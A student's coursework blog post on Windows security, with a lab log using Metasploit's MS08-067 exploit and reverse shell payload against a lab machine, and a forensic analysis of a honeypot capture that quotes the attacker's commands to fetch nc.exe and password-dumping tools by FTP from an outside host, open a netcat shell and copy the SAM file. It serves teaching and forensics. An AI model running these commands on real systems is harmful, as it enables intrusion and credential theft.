20199307 2019-2020-2 《网络攻防实践》第七周作业

问题
作业所属课程 网络攻防实践
作业要求 https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10612
课程目标 了解网络攻防的概要
这个作业在哪个具体方面帮助我实现目标 通过分析取证来深入了解漏洞的利用
作业正文.... 见后文
其他参考资料 见后文

Windows操作系统安全攻防

一、实践内容

Windows操作系统基本框架概述

  • Windows操作系统基本结构分为运行于处理器特权模式(ring 0)的操作系统内核以及运行在处理器非特权模式(ring 3)的用户,即为内核态和用户态。

  • Windows OS内核基本模块:

    • Windows执行体:Windows内核核心文件nokml.xe的上层接口,包含基本的操作系统内核服务,如进程与线程管理、内存管理、I/O管理、网络连接、进程间通信,以及安全服务。
    • Windows内核体:Windows内核核心文件ntoskrnl.exe中函数实现与硬件体系结构支持代码,实现底层的操作系统功能,同时也提供了一组内核例程与基本对象,以帮助执行体来实现高层次的功能服务。
    • 设备驱动程序:包括将用户I/O操作映射为特定硬件设备I/O请求的硬件设备驱动程序,以及文件系统与网络设备驱动程序。该部分支持通过数字签名认证的第三方硬件厂商的硬件设备驱动程序加载进入内核执行。
    • 硬件抽象层:hal.dll文件,是用于屏蔽Windows内核与平台硬件差异性的底层代码。
    • Windows窗口与图形界面接口内核实现代码:win32k.sys文件
  • Windows OS用户态的代码模块:

    • 系统支持进程:Windows开机自动启动的系统内建服务进程。
    • 环境子系统服务进程:为操作系统运行环境提供支持的服务进程。
    • 服务进程:通过Windows的服务管理机制所启动的一系列系统及网络服务。
    • 用户应用软件:在用户态执行的各类用户应用软件。
    • 核心子系统DLL:kernel32.d1/uer32.d/gdi32 d/advapi32.dll等动态连接库文件,作为用户态服务进程与应用软件和操作系统内核的交互接口,将用户态程序调用的系统API函数映射到相应的一个或多个Windows内部的系统服务调用。
  • Windows进程和线程管理机制:Windows将进程视作可执行程序运行时刻的容器,其进程与线程结构示意图如下。它包括一个私有虚拟内存空间描述符,系统资源对象句柄列表,带有执行用户账号权限的安全访问令牌,记录了进程ID及其父进程ID等信息,并至少包含一个作为进程内部指令执行体的执行线程。Windows线程是指令执行的具体载体,其线程控制块TCB中包含程序执行的上下文信息等。

  • Windows内存管理机制:分为系统核心内存区间和用户内存区间

    • 系统核心内存区间:用于映射内核、HAL(硬件抽象层,位于操作系统内核与硬件电路之间的接口层))、win32k.sys等内核执行模块,并存储内核内存对象,
    • 用户态内存区间中:包含用户程序的代码段、数据段,并对每个线程对应有一个栈和一个堆。
  • Windows文件管理机制:NTFS(NT File System)文件管理系统、可执行采用PE格式。PE格式文件结构示意图如下:

  • Windows注册表管理机制:注册表是Windows中的一个重要的数据库,用于存储系统和应用程序的设置信息,在系统的全局配置、用户和应用软件配置信息担任重要的角色。

  • windows网络管理机制:Windows网络组件模块与OSI的对应关系如下:

    • windows的各网卡硬件设备的驱动程序对应OSI的物理层,一般由第三方硬件厂商提供。
    • windows的NDIS(网络驱动程序接口规范)库及mimiport驱动对应OSI的数据链路层,它为不同的网卡驱动和TDI传输层间构建了封装接口。
    • TDI(传输驱动程序接口/网络协议驱动)传输层对应OSI的网络层和传输层,生成请求和控制请求,用来实现所有复杂的功能。
    • 网络API DLL及TDI客户端对应OSI的会话层和表示层,它为应用程序提供了独立于具体协议提供网络交互和实现方式,TDI客户端是网络API接口的具体实现。
    • 网络应用服务程序与服务进程对应OSI的应用层,它主要实现网络交互和通信功能。

Windows操作系统的安全体系结构与机制

  • Windows安全体系结构:它的设计基于引用监控器这一经典的安全模型,所有主体对客体的访问都通过监控器,根据安全访问控制策略进行授权访问,所有访问记录由监控器生成日志。其最核心的是位于内核的SRM安全引用监视器,LSASS安全服务(用户态)、winlogon/netlogn、以及Eventlog。

  • windows身份认证机制:Windows以安全主体的概念来包含所有进行资源访问请求的实体对象,包括用户、用户组和计算机三大类。对每个主体,有唯一SID来标识。而身份认证分为:

    • 本地身份认证:winlogon进程、GINA图形化登录窗口与LSASS服务。
    • 网络身份认证:NTLM(NT LAN Manager基于telnet的验证方式)、kerberos(在非安全网络中,对个人通信以安全的手段进行身份认证)。
  • windows授权与访问控制机制:它引用监控器模型,由内核态和用户态共同完成。在各个主体经过认证后,Windows会从内部数据库里读取该账户的信息,然后使用这些信息生成一个访问令牌,含有在该账户环境下启动的进程,都会获得这个令牌的副本。系统内所有需要保护的资源都抽象成对象,每个对象会关联一个SD安全描述符,其主要属性有:Owner SID(对象所有者的SID)、Group SID(对象所在组的SID)、DACL自主访问控制列表、SACL系统审计访问控制列表。

  • windows安全审计机制:LSAS服务将保存审计策略,在对象安全描述符中的SACL列表中进行保存。

Windows远程安全攻防技术

  • windows远程安全攻防的分类:

    • 远程口令猜解攻击
      • 涉及的服务:SMB协议、WMI服务、TS远程桌面终端服务,mysql数据库服务、SharePoint。
      • 防范措施:关闭易受攻击的且不常用的网络服务、配置防火墙来限制数据进出、使用更安全的协议、使用强口令
    • Windows网络服务攻击
      • 涉及的服务:NetBIOS、SMB、MSRPC、IIS等
      • 防范措施:对软件自身的设计进行完善、实施攻击缓解配置、利用安全核对清单对服务进行配置、安全增强插件
    • Windows客户端和用户攻击
      • 防范措施:避免去使用没有安全认证的软件,及时更新系统软件进行漏洞修复。
  • Metasploit渗透测试

Windows本地安全攻防技术

  • 介绍:攻击者在攻击过程中,所用到的本地提权攻击、获取敏感信息,掩盖痕迹,远程控制以及植入后门等技术。

  • 本地提权攻击:

    • 常用方法:DLL注入、破解本地程序、计划任务等
    • 防范措施:及时打补丁、及时跟进厂家的安全改进
  • 获取敏感信息:

    • 常用方法:Windows系统口令密文提取技术(拷贝口令密文文件、rdisk工具备份、pwdumpx从SAM文件或者活动目录中提取口令密文)、Windows系统口令字破解技术
    • 防范措施:使用强度高的口令、使用更安全的加密明文算法
  • 掩盖痕迹:

    • 常用方法:关闭审计功能、清理事件日志
    • 防范措施:配置好系统审计和网络服务审计功能;将日志传输到安全服务器中、定期备份
  • 远程控制以及植入后门:

    • 常用方法:命令行远程控制程序(Netcat、psexec、meterpreter)、图形化远程控制程序(VNC、RemoteAdmin、PCanyware)
    • 防范措施:后门检测软件、杀软

二、实践过程

本次实践所用到的虚拟机以及它们的IP地址:

虚拟机 IP地址
kali 192.168.200.2
win2kserver 192.168.200.124

实践一:Metasploit Windows Attacker

问题: 使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权

回答:
1. 这里选择攻击MS03-026漏洞。在kali中输入msfconsole进入Metasploit,并使用指令search MS08-067来搜索MS08-067漏洞相关的攻击脚本,可以看到攻击脚本是exploit/windows/smb/ms08_067_netapi,是针对MS08-067漏洞的渗透攻击。

2. 使用指令use exploit/windows/smb/ms08_067_netapi来进行基于Windows SMB协议的渗透攻击,并使用指令show payloads查看可用的payload。

3. 使用指令set payload generic/shell_reverse_tcp来获取shell的反向连接。

3. 使用指令show options显示需要的参数,包括脚本的参数、payload的参数等,其中RHOST(靶机)和LHOST(攻击机)是要填的。使用指令set RHOST 192.168.200.124设置靶机ip,使用指令set LHOST 192.168.200.2设置为攻击机ip,使用指令set LPORT 9999设置端口(随意设定)。

设置完成后,结果如图所示:

4. 使用指令exploit进行攻击,成功获取到目标的shell权限,使用ipconfig可以看到靶机的IP信息

实践二:取证分析实践:解码一次成功的NT系统破解攻击

问题: 来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),分析数据为包含整个攻击过程的二进制文件,提取并分析攻击的全部过程。
1.攻击者使用了什么破解工具进行攻击
2.攻击者如何使用这个破解工具进入并控制了系统
3.攻击者获得系统访问权限后做了什么
4.我们如何防止这样的攻击
5.你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么

回答:
问题1: 使用老师提供的日志文件snort-0204@0117.log,在kali使用wireshark打开该文件,首先根据题意,使用筛选命令ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106来看攻击者对目标机发送的数据包,可以发现攻击者一开始进行了HTTP访问,在HTP一栏中可以看到客户端的一些信息。

在筛选书来的结果,再加以http协议的限制,看结果,找后面没有见过的一些信息,这里看到类似117和161行,然后将此类信息复制到百度查询,发现它使用了Unicode编码攻击。

再看类似130、140、173等行,发现它们都含有字段msadc,百度查询后得知可能是MSADCS RDS的漏洞攻击。再对这些个记录进行追踪TCP流发现,它使用了SQL注入攻击,使用了类似selectcmd等针对数据库的操作

问题2:
使用筛选条件ip.src == 213.116.251.162 && ip.dst == 172.16.1.106 && http.request.method == "POST",对出现的http协议进行TCP流追踪,能看到一系列对目标机的操作,在整理后得到如下的脚本代码:

  • cmd /c echo user johna2k > ftpcom
  • cmd /c echo hacker2000 > ftpcom
  • cmd /c echo get samdump.dll > ftpcom
  • cmd /c echo get pdump.exe > ftpcom
  • cmd /c echo get nc.exe > ftpcom
  • cmd /c ftp -s:ftpcom -n www.nether.net

由这些指令可以看出攻击机在尝试使用ftp连接目标机,并创建了ftpcom脚本

ftp为筛选条件,然后再进行TCP流追踪,可以看到攻击者试图连接FTP服务器,但是失败了

再往下看,可以看到在1106行,攻击者成功连接了FTP服务器。

在以1106为界,向前看攻击者所发出的指令,发现攻击者使用的是Unicode漏洞攻击,在向后观察可以看到,在1224行,攻击者执行了命令cmd1.exe /c nc -l -p 6969 -e cmd1.exe。表示攻击者连接了6969端口,并且获得了访问权限。

问题3:
经过问题2,得知攻击者使用了6969端口进行了攻击,所以使用过滤条件tcp.port == 6969来查看。

追踪TCP流:

在tcp流中可以看到攻击者对目标机进行了很多的操作,可能是手速太快,一堆打错的指令,先来纠纠错(例举几个,太多了。。。):



再看他具体做了些啥,我注意到攻击者反复使用dir指令来查看目录内容。如下图,攻击者进入目录C:\Program Files\Common Files\System\msadc,并且删除了文件samdump.dllpdump.exe

又看到,攻击者使用 rdisk 尝试获得 SAM 口令文件(安全账号管理器),执行rdisk /s-备份关键系统信息,在 /repair 目录中就会创建一个名为sam._SAM压缩拷贝,并且攻击者把这个文件拷贝到har.txt并打印,截图如下:

看到攻击者在打印出har.txt结果之后就使用指令exit退出。

问题4: 使用目前最稳定的版本,随时更新补丁

问题5: 发现了,因为在数据包记录中的TCP流中可以看到攻击者留下的信息,得知他知道这是蜜罐。

实践三、团队对抗实践:windows系统远程渗透攻击和分析

问题: 攻方使用metaploit选择漏洞进行攻击,获得控制权。防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。

回答:
1: 继实践一之后,我们已经进行了攻击,这里我们开启wireshark来进行监听,监听结果如下:

**2: ** 查看端口9999的数据包,可以看到攻击者kali上的ipconfig操作。

三、学习中遇到的问题及解决

  • 问题1: 在进行实践一的时候,在msf中使用指令exploit失败了,如下图:

  • 问题1解决方案: 我想到可能是kali与靶机不能连通,使用ping命令,果然不行。但是开启了蜜罐之后就可以了。

  • 问题2: 在做实践二的时候,面对一大堆数据流信息不知所措

  • 问题2解决方案: 耐心参考了同学们的博客以及百度相关知识,将大问题划分为多个小问题,耐心完成实践。

四、实践总结

本次实践确实有些困难,尤其是实践环节,分析一大堆从未见过的信息,全靠参考博客和百度查询,说明我的知识体系还是不够好,接下来要接触范围更广的知识点,加油吧~

参考资料

msfconsole 控制台使用和操作
UNICODE漏洞原理及攻击说明

posted @ 2020-04-15 20:10  蒋昕睿_20199307  阅读(203)  评论(0编辑  收藏  举报